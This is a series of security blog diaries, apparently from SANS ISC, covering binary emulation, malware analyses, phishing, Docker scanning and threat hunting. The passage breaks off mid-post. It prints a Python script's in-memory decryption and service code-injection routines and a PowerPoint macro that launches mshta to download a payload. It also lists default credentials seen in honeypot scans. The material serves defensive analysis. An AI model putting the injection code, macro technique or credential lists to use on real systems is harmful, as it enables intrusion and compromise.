Published: 2021-04-30

Qiling: A true instrumentable binary emulation framework

A while ago, during the FLARE On 7 challenge last autumn, I had my first experience with the Qiling framework. It helped me to solve the challenge CrackInstaller by Paul Tarter (@Hefrpidge). If you want to read more about this (very interesting) challenge: https://www.fireeye.com/content/dam/fireeye-www/blog/pdfs/flareon7-challenge9-solution.pdf

Qiling is an advanced binary emulation framework, supporting many different platforms and architectures. It uses the well known Unicorn Engine and understands operating systems. It  knows how to load libraries and executables, how to relocate shared libraries, handles syscalls and IO handlers. Qiling can execute binaries without the binaries native operating system. You’ll probably won’t use Qiling to emulate complete applications, but emulating (large) functions and code works flawlessly. 

The Qiling framework comes out of the box supporting 40% of the Windows API calls, Linux syscalls and has also some UEFI coverage. Qiling is capable of creating snapshots, hooking into sys- and api calls, hot patching, remote debugging and hijacking stdin and stdout. Because Qiling is a framework, it is easy to extend and use by writing Python code.

Let me walk you through some of the features. Qiling can be started by a docker container, using the following command: 

docker run -p 5000:5000 -v (pwd):/work -it qilingframework/qiling

To start with Windows binaries, you need to collect the dlls (and registry) from a Windows system first. The batch file https://github.com/qilingframework/qiling/blob/master/examples/scripts/dllscollector.bat is available for this purpose, this will collect all the necessary files to get started.

After collecting the files, the following will make Qiling to load the library, configure the architecture and operating system and point to the root filesystem (containing the windows or linux libraries):

ql = Qiling(["/work/credhelper.dll"], archtype="x86", ostype="windows", rootfs="/work/10_break/rootfs/x8664_windows/", output="debug", console=True)

Now the framework is initialized, it is ready to execute specific address ranges. But first you’ll probably want to set-up, memory, stack and register values, which are being offered by the Unicorn Engine:

# set up memory pool
pool = ql.mem.map_anywhere(size)

# write memory at specific location
ql.mem.write(0x14000608c, ql.pack64(0x41424143414242))

# configure register values
ql.reg.rdx = param2
# setting up stack values
ql.stack_write(0x358, ql.reg.rsp+576) # local_358

Now we have set the memory, stack and registry, we can start the emulation:

ql.run(begin=start_offset, end=end_offset)

If you add the disassembly capabilities of Capstone, parts of the memory can be disassembled easily. The snippet below will hook every instruction and run the print_asm function.

from capstone import *
md = Cs(CS_ARCH_X86, CS_MODE_64)

def print_asm(ql, address, size):
    buf = ql.mem.read(address, size)
    for i in md.disasm(buf, address):
        print(":: 0x%x:\t%s\t%s" %(i.address, i.mnemonic, i.op_str))


Dynamically hooking into the application, can be done using memory hooks, like intercepting memory errors and invalid reads:

def ql_x86_windows_hook_mem_error(ql, access, addr, size, value):
    ql.dprint(D_INFO, "[+] ERROR: unmapped memory access at 0x%x" % addr)
    return False


def hook_mem_read_invalid(ql, access, addr, size, value):
    ql.dprint(D_INFO, "[+] ERROR: invalid memory read at 0x%x" % addr)
    return True


def hook_mem_invalid(ql, access, addr, size, value):
    ql.dprint(D_INFO, "[+] ERROR: invalid memory access at 0x%x" % addr)
    return True


Often you want to intercept specific API calls, or maybe add calls that haven’t been implemented yet. The following code will implement the StringFromGUID2 api call, write the value to memory to the location lpsz parameter points to and return the size of the bytes written.

@winsdkapi(cc=STDCALL, dllname="ole32_dll", replace_params={
  "rguid": POINTER,
  "lpsz": POINTER,
  "cchMar": DWORD,
def hook_StringFromGUID2(ql, address, params):
        ql.nprint("StringFromGuid2", address, params)
        ql.mem.write(params.get('lpsz'), "test".encode('utf-16le') + '\x00'.encode('utf-16le'))
        return 5

ql.set_api("StringFromGUID2", hook_StringFromGUID2)

Hot patching code, is just writing to memory locations:

# patch kernel execute
ql.mem.write(0x140002b59, b'\x90\x90\x90\x90\x90\x90')

For this specific FlareOn challenge, I created a small Ghidra python plugin, to be able to visually select the address range to emulate. The Ghidra plugin communicates with a flask server, running my Qiling code to run the emulation and return results back to Ghidra. Using this approach it was easy to emulate small parts of the code and eventually leading to the solution of the challenge. 

There is much more Qiling, but for now have a great day!


Remco Verhoef (@remco_verhoef)
ISC Handler - Founder of DTACT


Published: 2021-04-29

From Python to .Net

The Microsoft operating system provides the .Net framework[1] to developers. It allows to fully interact with the OS and write powerful applications... but also malicious ones. In a previous diary[2], I talked about a malicious Python script that interacted with the OS using the ctypes[3] library. Yesterday I found another Python script that interacts with the .Net framework to perform the low-level actions.

The script was called 'prophile.py'[4]  (SHA256:65b43e30547ae4066229040c9056aa9243145b9ae5f3b9d0a01a5068ef9a0361) has a low VT score of 4/58. Let's have a look at it!

First, all interesting strings are obfuscated using a one-liner:

>>> URIAbQ=lambda s,k:''.join([chr((ord(c)^k)%0x100) for c in s])
>>> URIAbQ ('\x8d\x98\x8a\x92\x95\x90\x8a\x8d\xd9\xd6\xbf\xb0\xd9\xdb\xaa\xbc\xab\xaf\xb0\xba\xbc\xaa\xd9\x9c\x88\xd9', 249)
'tasklist /FI "SERVICES eq '

As the diary title says, the Python script uses the Python.Net library[5] to interact with the .Net framework:

Note: all the snippets of code have been decoded/beautified

from System.Security.Cryptography import*
from System.Reflection import*
import System

The script uses encrypted payloads but it was not possible to decrypt them because the script was found outside of its context. Indeed, it expects one command-line argument:

if __name__ == "__main__":
    if len(sys.argv) != 2:

The expected parameter is the encryption key as we can see in this function call:

payload = DecryptPayloadToMemory(base64.b64decode(payload1[16:]), sys.argv[1], payload1[:16], log_file)

I did not found the parameter passed as an argument, no way to decrypt the payloads!

These payloads (stored in the script) are decrypted in memory:

def DecryptPayloadToMemory(payload, key, iv, log_file):
    instance = None
        rm = RijndaelManaged(KeySize=128, BlockSize=128)
        rm.Key = Str2Bytes(key)
        rm.IV = Str2Bytes(iv)
        rm.Padding = PaddingMode.PKCS7
        payload = Str2Bytes(payload)
        with System.IO.MemoryStream()as memory_handle:
            with CryptoStream(memory_handle,rm.CreateDecryptor(rm.Key, rm.IV), CryptoStreamMode.Write) as crypto_handle:
                crypto_handle.Write(payload, 0, payload.Length)
                memory_handle.Position = 0
                instance = System.Array.CreateInstance(System.Byte, memory_handle.Length)
                memory_handle.Read(instance, 0, instance.Length)
    except System.SystemException as ex:
        log_file.write('[!] Net exc (msg: {0}, st: {1})'.format(ex.Message, ex.StackTrace))
        instance = None
    return instance

The script injects malicious code into two Windows services:

process_name = "rpceptmapper"
process_name2 = "lanmanserver"

Two payloads are injected into these services using the Assembly.CreateInstance method[6]:

def InjectCode(enc_payld, process_name, log_file, asm):
    payload = DecryptPayloadToMemory(base64.b64decode(enc_payld[16:]), sys.argv[1], enc_payld[:16], log_file)
    if payload == None:
        log_file.write('[!] Failed to get payload')
        return False
        type = asm.GetType('DefaultSerializer.DefaultSerializer')
        pid = GetProcessPID(process_name)
        if pid != 0:
            NQHRxUDMlW = asm.CreateInstance(type.FullName,False,BindingFlags.ExactBinding,None,System.Array[System.Object]([payload,pid]),None,None)
            NQHRxUDMlE = type.GetMethod('Invoke')
            log_file.write(NQHRxUDMlE.Invoke(NQHRxUDMlW, None))
            log_file.write('[!] Failed to get pid')
            return True
    except System.SystemException as ex:
        log_file.write('[!] Net exc (msg: {0}, st: {1})'.format(ex.Message,ex.StackTrace))
        return False
    return True

Another example of how Python becomes more and more popular for attackers!

[1] https://dotnet.microsoft.com/download/dotnet-framework
[2] https://isc.sans.edu/forums/diary/Python+and+Risky+Windows+API+Calls/26530
[3] https://docs.python.org/3/library/ctypes.html
[4] https://bazaar.abuse.ch/sample/65b43e30547ae4066229040c9056aa9243145b9ae5f3b9d0a01a5068ef9a0361/
[5] http://pythonnet.github.io
[6] https://docs.microsoft.com/en-us/dotnet/api/system.reflection.assembly.createinstance?view=net-5.0

Xavier Mertens (@xme)
Senior ISC Handler - Freelance Cyber Security Consultant


Published: 2021-04-28

Deeper Analyzis of my Last Malicious PowerPoint Add-On

Last week, I wrote a diary about a malicious PowerPoint add-on[1] and I concluded by saying that I was not able to continue the investigation because the URL found in the macro pointed to a blogspot.com URL. Ron, one of our readers, found that this page was indeed malicious and contained some piece of JavaScript executed by mshta.exe.

The document discovered by Ron was not identical to mine (the macro slightly changed) but it pointed to the same URL (the blog has been closed by Blogger in the meantime).

How did I miss this simple piece of JavaScript? I don't know but thanks to Ron for sharing the nice document[2]. Very interesting read!

[1] https://isc.sans.edu/forums/diary/Malicious+PowerPoint+AddOn+Small+Is+Beautiful/27342/
[2] http://isc.h2392901.stratoserver.net/Xavier_1.pdf

Xavier Mertens (@xme)
Senior ISC Handler - Freelance Cyber Security Consultant


Published: 2021-04-27

Diving into a Singapore Post Phishing E-mail

With the sustained persistence of COVID-19 globally, postal and e-commerce related phishing e-mails remain as one of the most widely favoured methods by adversaries and cybercrime groups. Although postal and shipping companies have often put-up warnings with respect to phishing sites and e-mails (for example Singapore Post [1] and DHL [2]), phishing sites and e-mails continue to be propagated. While organizations continue to deploy technologies and invest in security awareness training to allow better detection of phishing e-mails, individuals who are not particularly IT-savvy could fall prey to such phishing e-mails, especially with respect to their personal e-mail accounts who may not have enterprise phishing protection features. I was recently forwarded one phishing e-mail for a quick look. Unfortunately, by the time I got to it, the phishing page appeared to have been taken down. However, there were some salient points that struck me when I analyzed the contents of the e-mail, and wanted to talk a bit about it so as to increase awareness.

A check on the e-mail headers yielded the following information (with reference to Figure 1, and some details were omitted to preserve privacy):

Figure 1: E-Mail Headers

I did some research on the e-mail address in the “From” and “Sender” fields, and discovered that it originated from a legitimate company (hence the redaction). Of course, the name reflected in the “From” and “Sender” fields should have triggered some red flags since it stated “Singapore-post” but displayed another e-mail address.

Moving on to the contents of the e-mail. With reference to Figure 2 below, we can see the contents (some information have been removed to preserve privacy).

Figure 2: Contents of Phishing E-Mail

The first thing that drew my attention was the logo that was retrieved from a third-party site which felt particularly dodgy. After visiting the “phishing” site, a webpage related to the original site loaded with no signs of any content related to Singapore Post (thankfully!). While it appeared that the owner of the website removed phishing content and replaced with something of their own, the link was still kept.

Looking at all the factors, there were many opportunities to deny the adversaries from succeeding in sending out the phishing e-mail. The factors that could be addressed are as follows:

1. Image Hotlinking: This is a common issue faced by many individuals and organizations hosting their websites. If left unchecked, it could affect the uptime and bandwidth costs (this is especially so for small businesses that often cannot afford high-capacity web hosting plans). In this case, we can see that the third-party website inadvertently facilitated the adversaries’ attempts in providing the logo for their phishing e-mails. To mitigate this issue, one can consider using Content Delivery Networks (CDN) that have hotlink protection features, or tweak cPanel settings (if it is used to administer your website) as shown here [3]. There are also a few other methods, but configuration will vary due to the type of CMS that the website is running on. Nevertheless, there are some robust documentations available online with respect to image hotlinking, and owners should consider implementing them if possible.

2. Securing assets: A legitimate organization’s e-mail system was compromised to send out the phishing e-mail, and another legitimate organization’s website was used to host the phishing page. I did not probe into the affected organizations’ assets, but such compromises are usually due to unpatched systems, security misconfiguration or a successful phish of administrative credentials. Unfortunately, other than taking a proactive approach towards cybersecurity within limits of a given budget, there isn’t really much an organization can do (ignoring the issue can be one way, but that is bound to bring more disastrous and pressing issues to the organization/business in future). Building and maintaining security controls can be challenging, but there is useful documentation such as the CIS Controls (version 8 launching soon [4]) that organizations could refer to bolster their cybersecurity readiness.

As always, when in doubt, verify the authenticity of the e-mail received. In addition, why not consider checking in with your loved ones and friends to see if they received any phishing e-mails and let them know how they could spot potential ones? These are no doubt challenging times, and being able to maintain access to your digital accounts should be one of the top priorities.

[1] https://www.singpost.com/online-security-you
[2] https://www.dhl.com/sg-en/home/footer/fraud-awareness.html
[3] https://documentation.cpanel.net/display/84Docs/Hotlink+Protection
[4] https://www.sans.org/blog/cis-controls-v8/

Yee Ching Tok, ISC Handler
Personal Site


Published: 2021-04-26

CAD: .DGN and .MVBA Files

Regularly I receive questions about MicroStation files, since I wrote a diary entry about AutoCAD drawings containing VBA code.

MicroStation is CAD software, and it can run VBA code.

I've never been given malicious MicroStation files, but recently I've been given a normal drawing (.dgn) and a script file (.mvba).

To be clear: these are not malware samples, the files were given to me so that I could take a look at the internal file format and report it.

Turns out that both files are "OLE files", and can thus be analyzed with my oledump.py tool.

Here is the .DGN file:

It's an OLE file with storage (folder) Dgn-Md containing other storages and streams.

And the metadata identifies this as a MicroStation file (I'm using tail to filter out the thumbnail data):

It does not contain VBA code: AFAIK, .DGN files can not contain VBA code. Please post a comment if I'm wrong, or if you can share a sample .DGN file containing VBA code.

The VBA script file, with extension .MVBA, is also an OLE file with VBA code streams:

Here too, the M indicator alerts us to the presence of VBA code. It can be extracted with oledump:

Didier Stevens
Senior handler
Microsoft MVP
blog.DidierStevens.com DidierStevensLabs.com


Published: 2021-04-25

Sysinternals: Procmon and Sysmon update

New versions of Procmon and Sysmon were released.

Sysmon supports a new rule: FileDeletedDetected. Use it to log deletions (without archiving the deleted file).

Didier Stevens
Senior handler
Microsoft MVP
blog.DidierStevens.com DidierStevensLabs.com


Published: 2021-04-25

Wireshark 3.4.5 Released

Wireshark version 3.4.5 was released.

There's one vulnerability fix and many bug fixes.

For Windows, Npcap is still at version 1.10

Didier Stevens
Senior handler
Microsoft MVP
blog.DidierStevens.com DidierStevensLabs.com


Published: 2021-04-24

Base64 Hashes Used in Web Scanning

I have honeypot activity logs going back to May 2018 and I was curious what type of username:password combination was stored in the web traffic logs following either the Proxy-Authorization: Basic or Authorization: Basic in each logs. This graph illustrate an increase in web scanning activity for username:password over the past 3 years.

Sample Log

20210422-190644: data CONNECT www.voanews.com:443 HTTP/1.1
Host: www.voanews.com:443
Proxy-Authorization: Basic Og==
User-Agent: PycURL/7.43.0 libcurl/7.47.0 GnuTLS/3.4.10 zlib/1.2.8 libidn/1.32 librtmp/2.3
Proxy-Connection: Keep-Alive

The statistic are kind of interesting, username:password combination goes from mostly random to easily recognisable.  

Top 5 Most Popular Hashes

Og== → :
YWRtaW46YWRtaW4= → admin:admin
YWRtaW46ezEyMjEzQkQxLTY5QzctNDg2Mi04NDNELTI2MDUwMEQxREE0MH0= → admin:{12213BD1-69C7-4862-843D-260500D1DA40}
cm9vdDphZG1pbg== → root:admin
X19ld2VvaUBqMzIzMjE6X193ZzI0M3dlZjI0QEAz → __eweoi@j32321:__wg243wef24@@3

Top 10 Hashes

Beside a single column : being the most common empty username:password combination used in the large majority of the scans, admin:admin and root:admin which comes second and forth are still active and popular today.  As for the third password, I published a diary in October 2019 about this activity noted active until May 2020, looking for NVMS9000 Digital Video Recorder which goes into more details about this activity [1].

Other often seen username:password combination that are easily guessable:

48691994@qq.com:Jxl112912    admin:
support:admin                             admin:nbv_12345
root:123456                                admin:support
root:1234567890                        admin:qwerty
root:123321                               admin:123123
root:111111                                admin:1234
tomcat:tomcat                           admin:12345
test:test                                    admin:123456
ubnt:ubnt                                   admin:888888
user:123456                               admin:Xw22w
user:1234567890                        admin:changeme
user:123321                               default
user:111111                                 user:password

Other interesting stats over the past 3 years is the HTTP requests and the activity by continents.

If unsure what services are being shared to the world, check what Shodan or Censys has been able to discover from a malicious actor perspective. As a home user, you can go to this page to see what Censys has been able to discover on what the router is sharing to the world.

[1] https://isc.sans.edu/forums/diary/Scanning+Activity+for+NVMS9000+Digital+Video+Recorder/25434/
[2] https://isc.sans.edu/forums/diary/Password+Reuse+Strikes+Again/26474
[3] https://isc.sans.edu/forums/diary/Will+You+Put+Your+Password+in+a+Survey/25866
[4] https://isc.sans.edu/forums/diary/Cracking+AD+Domain+Passwords+Password+Assessments+Part+1+Collecting+Hashes/23383
[5] https://isc.sans.edu/forums/diary/Password+History+Insights+Shared+by+a+Reader/22278

Guy Bruneau IPSS Inc.
My Handler Page
Twitter: GuyBruneau
gbruneau at isc dot sans dot edu


Published: 2021-04-23

Malicious PowerPoint Add-On: "Small Is Beautiful"

Yesterday I spotted a DHL-branded phishing campaign that used a PowerPoint file to compromise the victim. The malicious attachment is a PowerPoint add-in. This technique is not new, I already analyzed such a sample in a previous diary[1]. The filename is "dhl-shipment-notification-6207428452.ppt" (SHA256:934df0be5a13def81901b075f07f3d1f141056a406204d53f2f72ae53f583341) and has a VT score of 18/60[2].

The main feature of this file could be described as "small is beautiful". A very small VBA macro is present in the file:

remnux@remnux:/MalwareZoo/20210422$ oledump.py dhl-shipment-notification-6207428452.ppt 
  1:       444 '\x05DocumentSummaryInformation'
  2:     43736 '\x05SummaryInformation'
  3:       535 'PROJECT'
  4:        44 'PROJECTwm'
  5: M    1482 'VBA/Module111'
  6:      3231 'VBA/_VBA_PROJECT'
  7:      1886 'VBA/__SRP_0'
  8:       142 'VBA/__SRP_1'
  9:       260 'VBA/__SRP_2'
 10:       103 'VBA/__SRP_3'
 11:       382 'VBA/__SRP_4'
 12:        66 'VBA/__SRP_5'
 13:       768 'VBA/dir'
 14: m    1377 'VBA/sex'
 15:        97 'sex/\x01CompObj'
 16:       286 'sex/\x03VBFrame'
 17:        90 'sex/f'
 18:       115 'sex/i01/\x01CompObj'
 19:       220 'sex/i01/f'
 20:       110 'sex/i01/i03/\x01CompObj'
 21:        40 'sex/i01/i03/f'
 22:         0 'sex/i01/i03/o'
 23:       110 'sex/i01/i04/\x01CompObj'
 24:        40 'sex/i01/i04/f'
 25:         0 'sex/i01/i04/o'
 26:       148 'sex/i01/o'
 27:        48 'sex/i01/x'
 28:         0 'sex/o'

The macro is so simple but effective:

remnux@remnux:/MalwareZoo/20210422$ oledump.py dhl-shipment-notification-6207428452.ppt -s 5 -v
Attribute VB_Name = "Module111"
Sub _
Dim k As New sex
Shell sex.krnahai.bachikyasath.Tag
End Sub

The macro will be executed when the document is closed and refers to an object "sex". You can see many references to this string in the first oledump output. This is a Microsoft Form:

remnux@remnux:/MalwareZoo/20210422$ oledump.py dhl-shipment-notification-6207428452.ppt -s 15
00000000: 01 00 FE FF 03 0A 00 00  FF FF FF FF 00 00 00 00  ................
00000010: 00 00 00 00 00 00 00 00  00 00 00 00 19 00 00 00  ................
00000020: 4D 69 63 72 6F 73 6F 66  74 20 46 6F 72 6D 73 20  Microsoft Forms 
00000030: 32 2E 30 20 46 6F 72 6D  00 10 00 00 00 45 6D 62  2.0 Form.....Emb
00000040: 65 64 64 65 64 20 4F 62  6A 65 63 74 00 00 00 00  edded Object....
00000050: 00 F4 39 B2 71 00 00 00  00 00 00 00 00 00 00 00  ..9.q...........
00000060: 00                   

You could try to load the add-in and check the form with PowerPoint (in a sandbox!) but, most of the time, just extracting strings will do the job. Let's search for the property "bachikyasath":

remnux@remnux:/MalwareZoo/20210422$ strings dhl-shipment-notification-6207428452.ppt | \
                                    grep -A 3 -B 3 bachikyasath
Microsoft Forms 2.0 Form
Embedded Object

The macro just spawns a shell that executes the Microsoft tool "mshta.exe" which will download and execute the payload from hxxps://j[.]mp/hdjkashdjkahs

Unfortunately, this URL points to blogspot.com page and I was not able to grab the payload. I searched on VT and found that the same file was uploaded one day before and received a score of 0/60! (SHA256:ff1683773ad9b57473e5206023b5ef2eca5b51572bffa7b9e0559408e3e41424)


[1] https://isc.sans.edu/forums/diary/AgentTesla+Delivered+via+a+Malicious+PowerPoint+AddIn/26162
[2] https://bazaar.abuse.ch/sample/934df0be5a13def81901b075f07f3d1f141056a406204d53f2f72ae53f583341

Xavier Mertens (@xme)
Senior ISC Handler - Freelance Cyber Security Consultant


Published: 2021-04-22

How Safe Are Your Docker Images?

Today, I don't know any organization that is not using Docker today. For only test and development only or to full production systems, containers are deployed everywhere! In the same way, most popular tools today have a "dockerized" version ready to use, sometimes maintained by the developers themselves, sometimes maintained by third parties. An example is the Docker container that I created with all Didier's tools[1]. Today, we are also facing a new threat: supply chain attacks (think about Solarwinds or, more recently, CodeCov[2]). Let's mix the attraction for container technologies and this threat, we realize that  Docker images are a great way to compromise an organization! 

When we deploy Docker images, we have to take care of two things:

  • Vulnerabilities present in the software installed in the image.
  • Potential malicious changes (implementation of a backdoor, extra SSH keys, exfiltration of data, etc...)

Many Docker images have already been detected as malicious[3] and are more difficult to detect but how to address "common" vulnerabilities? When you are implementing a vulnerability scanning process in your organization (note that I say "process" and not "tool"!), there are components that are difficult to scan like virtual machines in suspended mode and... Docker images!

Here is an interesting tool that you can add to your arsenal to quickly scan Docker images for vulnerabilities: grype[4]. Written in Go, the tool is very easy to deploy and use:

root@lab0:/# docker images|grep ssl
drwetter/testssl.sh       latest     699c2c42986f   7 weeks ago     48.5MB
jumanjiman/ssllabs-scan   latest     2a46bf22e388   10 months ago   5.66MB
root@lab0:/# grype docker:drwetter/testssl.sh:latest
 - Vulnerability DB        [no update available]
 - Loaded image
 - Parsed image
 - Cataloged packages      [36 packages]
 - Scanned image           [2 vulnerabilities]
openssl  1.1.1j-r0            CVE-2021-3450  High
openssl  1.1.1j-r0            CVE-2021-3449  Medium

grype scans the contents of the Docker image to find know vulnerabilities at the operating system level (Alpine, Busybox, Ubuntu, ...) but also language-specific issues (Ruby, Java, Python, ...). Personally, I like the JSON output (--output=json) to process the results with other tools or index them.

My advice is to scan all your new Docker images, especially the ones that you downloaded from 3rd party websites. 

And you? How do you scan/audit your Docker images? Please share your tools/processes in the comments.

[1] https://isc.sans.edu/forums/diary/DSSuite+A+Docker+Container+with+Didiers+Tools/24926/
[2] https://www.bleepingcomputer.com/news/security/hundreds-of-networks-reportedly-hacked-in-codecov-supply-chain-attack/
[3] https://unit42.paloaltonetworks.com/attackers-tactics-and-techniques-in-unsecured-docker-daemons-revealed/
[4] https://github.com/anchore/grype

Xavier Mertens (@xme)
Senior ISC Handler - Freelance Cyber Security Consultant


Published: 2021-04-21

A Case for Lockdown and Isolation (and not the Covid kind)

A reader wrote in expressing concerns over a vendor software management platform that had 3rd party module vulnerabilities [1]. Reasonable risk assessment if you ask me. This comes along with the two "One Liners'' we posted yesterday [2] [3]. This sounds like a case for isolation and or lockdown. Considering 2021's climate, let's be clear here, Digital not Physical :).

The problem space is the attack surface. Good thing, we've known about this for years. Bad thing, human behavior has not changed (that we are aware of) for a very long time [4]. Given that we have something we can affect and something that is HARD to change? How do we approach the risk of vulnerabilities in our management plane? Lets also add into this problem space the idea that we cannot isolate everything (again, only talking digital here). 

Now that I've said something that most of us have heard over and over and over and ........ over? What can we do?

The Model: Zero Trust (micro-segmentation, take your pick, but you get the idea)
note: Not all Zero Trust interpretations are equal, I use John's (shameless name drop) [5] [6]

The Use-Case: Critical Asset that is Vulnerable
In this example we will use a device that is still running ‘telnet’ and can’t be patched nor upgraded. And before you ask? YES, in 2021, this still happens! The device type really does not matter, could be an old accounting mainframe that still is in production, or a critical building management system, and or legacy networking hardware that ‘just cannot be pulled yet.’
Risk analysis can help in replacing this asset, but that is a different road and a layer 8+ problem [7]. 

A Solution:
Put simply? STICK something in front of it. Not all something’s are equal, so let’s get into the details of one way (yes, I’ve done this) to solve it. It is possible, using off the shelf technology, to put an encrypted layer with Multi-Factor Authentication (MFA) and allowing access by user/group. 

<user> - <Clientless VPN and or firewall> - <HTML5 to telnet proxy>  <legacy client>

The clientless VPN solutions would be configured to use the organization's regular IDaM infrastructure with full group / user restrictions. This would point to an HTML5 proxy that provides a TLS interface to the telnet client. As long as the VPN / Firewall solution supports it, SAML becomes possible, along with MFA [8].

This is not easy, but also not impossible and remember, just because MFA is being “picked on” (probably with good reason) doesn’t stop us from using it [9]. A wise Groot once said ‘It’s better than 11%’...

Those highly vulnerable critical assets can be protected, and this risk can be mitigated. The best solution would be to replace these devices, however, we know that is not always feasible. Find your most fragile devices and architect a Zero Trust posture around THOSE assets. The question that John Kindervag has told me he gets the most is “Where do I start?” and your most fragile assets seem like a good place as any. 

“Perfection is a road, not a destination” Chiun, Remo Williams

If this topic is interesting, please comment and I can dive deeper (what vendors I used, how I deployed it, results (good btw)...

Let us know in the comments.

[1] https://kb.juniper.net/InfoCenter/index?page=content&id=JSA11172&cat=SIRT_1&actp=LIST
[2] SonicWall releases Security Notice: Email Security Zero-Day Vulnerabilities https://bit.ly/3eh1r9n
[3] PluseSecure Out of Cycle Advisory: https://kb.pulsesecure.net/articles/Pulse_Secure_Article/SA44784/
[4] https://www.researchgate.net/profile/Nigel-Nicholson-2/publication/13115707_How_hardwired_is_human_behavior/links/5405e3580cf2bba34c1ddd0e/How-hardwired-is-human-behavior.pdf
[5] http://www.virtualstarmedia.com/downloads/Forrester_zero_trust_DNA.pdf
[6] https://media.paloaltonetworks.com/documents/Forrester-No-More-Chewy-Centers.pdf
[7] https://blog.paessler.com/is-it-possible-to-monitor-osi-model-layer-8
[8] https://krebsonsecurity.com/2020/06/turn-on-mfa-before-crooks-do-it-for-you/
[9] https://krebsonsecurity.com/2021/03/can-we-stop-pretending-sms-is-secure-now/



Published: 2021-04-19

Hunting phishing websites with favicon hashes

HTTP favicons are often used by bug bounty hunters and red teamers to discover vulnerable services in a target AS or IP range. It makes sense – since different tools (and sometimes even different versions of the same tool) use different favicons[1] and services such as Shodan calculate MurmurHash values[2] for all favicons they discover and let us search through them, it can be quite easy to find specific services and devices this way.

But while the use of favicon hashes is common in the “red” community, significant number of blue teamers don’t use them at all. Which is unfortunate, given that – among their other uses – they can provide us with a simple way of identifying IPs hosting phishing kits. After all, this was the reason why searches using HTTP favicon hashes have been introduced into Shodan in the first place[3].

As an example, we will show how to detect IPs hosting phishing pages by looking for sites that try to pass themselves of as login portals for O365 and other Microsoft services, however the same principle would work for any other service as well. One could therefore for example calculate hashes of unique favicons used by systems specific to a company one is trying to protect (e.g. favicon from a company website) and use periodical lookups of these on Shodan and other services in order to implement a – admittedly fairly simple – phishing detection/brand protection mechanism...

So how would one look for fake Microsoft login portals? First, we need to calculate a MurmurHash value of a favicon that we expect might be reused on a phishing website to make it look more trustworthy. Looking at official Microsoft websites, it seems that they use the favicon located at https://c.s-microsoft.com/favicon.ico.

Its hash can be easily calculated using Python code that may be found on GitHub[4]:

import requests,mmh3,base64
response = requests.get('https://c.s-microsoft.com/favicon.ico')
favicon = base64.encodebytes(response.content)
hash = mmh3.hash(favicon)

If we run this script, we will get the hash -2057558656.

Now that we have a hash to look for, we can query Shodan to get the list of all IP addresses where it found a favicon with the same one. We may use the filter http.favicon.hash to do so.

As we can see, the number of results is quite high. This is hardly surprising though, given that they conain all servers – malicious as well as legitimate – where the favicon is used. In order to discover only the suspicious ones, we would need to further refine the search. One would do this differently for one’s own favicons, but in order to search for suspicious Microsoft login portals, we could extend our search to look only for IPs with web pages looking like log in portals (http.html:"Sign in") and that are not hosted on Microsoft infrastructure (-org:"Microsoft Corporation" -org:"Microsoft Azure") but are running an Apache web server (product:"Apache httpd"). Taken together, our search might look like this:

http.favicon.hash:-2057558656 -org:"Microsoft Corporation" -org:"Microsoft Azure" product:"Apache httpd" http.html:"Sign in"

If we ran this updated search, the number of results would be significantly lower.

Not all IPs identified in this way would necessarily turn out to host a phishing website, but most of them almost certainly would (or would at least turn out to have done so recently). In any case, all of them would unquestionably be worth investigating, and it probably wouldn’t take too long to discover something interesting. In our search, for example, the following web site was hosted on the very first IP that Shodan returned.

As we’ve mentioned, the same approach can be used to identify phishing web sites using any other favicon as well.

Given how easy it is to implement automatic periodic lookups (for example against Shodan API) for a list of specific hashes (e.g. the ones that are used on our company log in pages/in our products), favicons can provide a cheap and simple way to detect phishing sites targeting either one’s company or its customers. Even if one decided not to automate them, favicon hash lookups can still provide us with additional information useful, for example, for “long tail” threat hunting or enrichment of other data.

In any case, if you are on the “blue” side and don’t use favicon hashes in any way, consider whether they might not provide you with at least some value.

[1] https://github.com/sansatart/scrapts/blob/master/shodan-favicon-hashes.csv
[2] https://en.wikipedia.org/wiki/MurmurHash
[3] https://twitter.com/shodanhq/status/1280247570586099719
[4] https://gist.github.com/yehgdotnet/b9dfc618108d2f05845c4d8e28c5fc6a

Jan Kopriva
Alef Nula


Published: 2021-04-18

Decoding Cobalt Strike Traffic

In diary entry "Example of Cleartext Cobalt Strike Traffic (Thanks Brad)" I share a capture file I found with unencrypted Cobalt Strike traffic. The traffic is unencrypted since the malicious actors used a trial version of Cobalt Strike.

This weekend I carried on with the analysis of that traffic, you can see my findings in this video and read the diary entry below.

Reader binarysheperds posted a comment to point out packet 8241, that looks like containing output of a UAC bypass command:

Yesterday I took a closer look at the binary protocol, started to see some patterns (like an epoch value), and then I found Python code on Github that handles Cobalt Strike's encrypted traffic.

This allowed me to write a decoding tool: parse-cs-http-traffic.py. It takes the pcap file as argument and relies on Python module pyshark to parse the pcap file. I then extract the traffic and parse it. The parsing code is still incomplete because of inciomplete understanding of the protocol.

Here is the output of my tool for the UAC bypass:

First, with an HTTP response, commands are delivered to the beacon: download a DLL and do a UAC bypass.

Second, the output (text) is send to the C2 with an HTTP POST request.

This DLL is a reflective loader to perform a UAC bypass:

I also found portscanning activity. You can watch the complete analysis in this video:

And here are 2 videos by Cobalt Strike developer Raphael Mudge on portscanning and UAC bypass.

Didier Stevens
Senior handler
Microsoft MVP
blog.DidierStevens.com DidierStevensLabs.com


Published: 2021-04-16

Querying Spamhaus for IP reputation

Way back in 2018 I posted a diary describing how I have been using the Neutrino API to do IP reputation checks.  In the subsequent 2+ years that python script has evolved some which hopefully I can go over at some point in the future, but for now I would like to show you the most recent capability I added into that script.

As most of you know, The Spamhaus Project has been forefront in the fight against Spam for over 20 years. But did you know they provide a DNS query based api that can be used, for low volume non-commercial use, to query all of the Spamhaus blocklists at once. The interface is zen.spamhaus.org. Because it is DNS query based you can perform the query using nslookup or dig and the returned IP address is the return code.

For example say we want to test whether or not is on a Spamhaus list.  First because the interface takes a DNS query we would need to reverse the IP address and then add .zen.spamhaus.org.  i.e. the DNS query would look like

$ nslookup

Non-authoritative answer:

or with dig...

$ dig

; <<>> DiG 9.11.4-P2-RedHat-9.11.4-26.P2.el7_9.4 <<>>
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 64622
;; flags: qr rd ra; QUERY: 1, ANSWER: 2, AUTHORITY: 0, ADDITIONAL: 1

; EDNS: version: 0, flags:; udp: 4096
;    IN   A


As you can see in both cases the DNS response returned two results. and  In practicality just the fact that you receive return codes tells you that this IP is on Spamhaus's lists, and has recently been involved in naughty behavior. However to know which Spamhaus lists in particular the return codes apply to:

